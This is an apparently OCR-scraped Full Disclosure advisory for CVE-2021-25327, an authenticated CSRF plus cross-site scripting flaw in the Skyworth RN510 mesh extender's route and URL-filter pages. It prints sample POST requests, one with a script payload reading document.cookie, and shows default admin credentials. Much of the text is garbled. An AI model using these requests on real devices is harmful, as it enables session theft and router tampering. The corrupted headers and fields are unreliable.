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## KSA-Dev-0011:CVE-2021-25327: Authenticated XSRF in Skyworth RN510 Mesh Extender

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From: Kaustubh Padwad via Fulldisclosure <fulldisclosure () seclists org>
  Date: Sat, 1 May 2021 20:03:58 +0000
 Overview
Title:- Authenticated XSRF in RN510 Mesh Extender.
CVE-ID:- CVE-2021-25327
Author: Kaustuhh G. Padwad
Vendor: Shenzhen Skyworth Digital Technology Company
Ltd.(http://www.akyworthdigital.com/products)
Products:
1. RN510 with firmware V.3.1.0.4 (Tested and verified)
Potential
2. NN520 with respective firmware or below
              ential
2.RN620 with respective firmware or below
3.RN410 With Respective firmwware or below.
 Severity: High--Critical
  Advisory ID
* RN510 dual-band wireless AC2100 access point delivers high-speed access for web surfing and HD video streamings. Integrated with two gigabit LAN ports, and a dual-band AP which supports 2x2 802.11n(300Mps) and 4x4 802.11ac (1733Mps) concurrently, RN510provides a stable & reliable high speed wired and wireless connectivity for home user and SOHO users. Utilizing state of art EasyMesh solution, two or more RN510 units could be easily teamed upwith Skyworth ONT gateway (e.g. GN543) and form an automatically organized network. RN510 could support either wired line backhaul or wireless backhaul to other mesh node. User could enjoy a wonderful zero-touch, robust and failure auto recovery, seamless connected wireless home networking experience. RN510 uses a system of units to achieve seamless whole-home Wi-Fi coverage, eliminate weak signal areas once and for all. RN510 work together to form a unified network with a single network name. Devices automatically switch between RN510 say you move through your home for the fastest possible speeds. A RN510 Dual-pack delivers Wi-Fi to an area of up to 2,800 square feet. And if that's not enough, simply add more RN510 to the network anytime to increase coverage. RN510 provides fast and stable connections with speeds of up to 2100 Mps and works with major internet service provider (ISP) and modem. Parental Controls limits online time and block inappropriate websites according to unique profiles created for each family member. Setup is easier than ever with the Skywifi app there to walk you through every step.
 An issue was discovered on Shenzhen Skyworth
 The value of DestIPAdderss under /cgi-bin/net-routeadd.asp is not properly sanatizing hence it allow to execute malicious javascript, which result a successful cross site scripting in /cgi-bin/net-routeadd.asp, Additionally value of urlitem under /cgi-bin/sec-urlfilter.asp is also not getting properly sanitize hence it will result to successful cross site scripting.
 Since device dont have CSRF valdation it is possible to perform the XSRF by using CSRF + XSS vulnerability.
  Additional Information
  Sample request -1
  POST /cgi-bin/net-routeadd.asp HTTP/1.1 Host: 192.168.2.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (XII; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US, en;q=0.5
Accept-Language: en-US, en;q=0.5
Accept-Faccing: grjp, deflate
Referer: http://192.168.2.1/cgi-bin/net-routeadd.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: 235
Connection: close
Cookie: UID=admin; PSW=admin;
SSSSIONIPahoasid/3.108566418.8995bd235b1412cb770c
   SESSIONID=boasid7a108566d118e9b5bd235b1412cb770c
Upgrade-Insecure-Requests: 1
   add num=0&user def num=0&WanInterfaceFlag=br0&metricFlag=0&gwflag=Yes&ifflag=Yes&DestIPAddress=<svg><script
   .
>alert(document.cookie)&DestSubnetMask=255.255.255.255&gwStr=on&GatewavIPAddress=192.168.1.1&ifStr=on&Interface=br0&Sa
  veFlag=1
 Sample Request-2
  POST /cgi-bin/sec-urlfilter.asp HTTP/1.1
 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept=Language: en-US,en;q=0.5

Accept=Encoding: gzjp, deflate

Referer: http://192.168.2.1/cgi-bin/sec-urlfilter.asp

Content-Type: application/x-www-form-urlencoded

Content-Length: 162

Connection: close
 Connection: close
Cookie: UID=admin; PSW=admin;
SESSIONID=boasid7a108566d118e9b5bd235b1412cb770c
Upgrade-Insecure-Requests: 1
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 $\ensuremath{\mathsf{IpAddr}}$  function on page /cgi-bin/app-staticIP.asp inside the boa web server implementation. [Attack Type] Remote [Impact Code execution] [Impact Denial of Service] true An Authentiated attacker need to run set the cross site scripting payload at DestFAddress, urlitem under /cgi-bin/net-routeadd.asp and /cgi-bin/sec-urlfilter.asp respectively in order to achive XSS. [Vulnerability Type] CSRF, XSS How to Reproduce: (POC): One can use below exploit Attacker needs to run above requests in order to achive to XSRF. Mitigation [Vendor of Product]
Shenzhen Skyworth Digital Technology Company
Ltd.(http://www.skyworthdigital.com/products) Disclosure: 19-Jan-2021:- reported this to vendor 19-Jan-2021:- Requested for CVE-ID credits: \* Kaustubh Padwad

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\* https://s3curityb3ast.qithub.io http://breakthesec.com http://breakthesec.com/in/kaustubhpadwad Sent through the Full Disclosure mailing list https://nmap.org/mailman Web Archives & RSS: http By Date By Thread

## Current thread:

KSA-Dev-0011:CVE-2021-25327: Authenticated XSRF in Skyworth RN510 Mesh Extender Kaustubh Padwad via Fulldisclosure (May 04)

